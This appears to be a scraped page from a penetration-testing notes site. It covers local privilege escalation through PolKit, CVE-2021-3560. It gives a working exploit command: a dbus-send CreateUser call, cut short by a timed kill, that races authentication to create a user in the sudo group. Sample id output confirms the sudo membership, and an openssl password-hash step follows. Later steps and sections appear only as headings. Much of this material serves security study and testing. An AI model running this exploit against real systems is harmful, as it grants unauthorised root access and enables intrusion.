PolKit Privilege Escalation
CVE-2021-3560
1. Send a dbus message to create a new user
# string:tester: The new user named "tester".
# string:"Tester Account": The description of the new user.
# int32:1: sudo group
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:tester string:"Tester Account" int32:1 & sleep 0.005s; kill $!id tester
uid=1000(tester) gid=1000(tester) groups=1000(tester),27(sudo)2. Generate a new password hash
# -6: SHA512
openssl passwd -6 password1233. Send a dbus message to set a new password
4. Switch the new user
CVE-2021-4034 (PwnKit)
Remediations
References
Last updated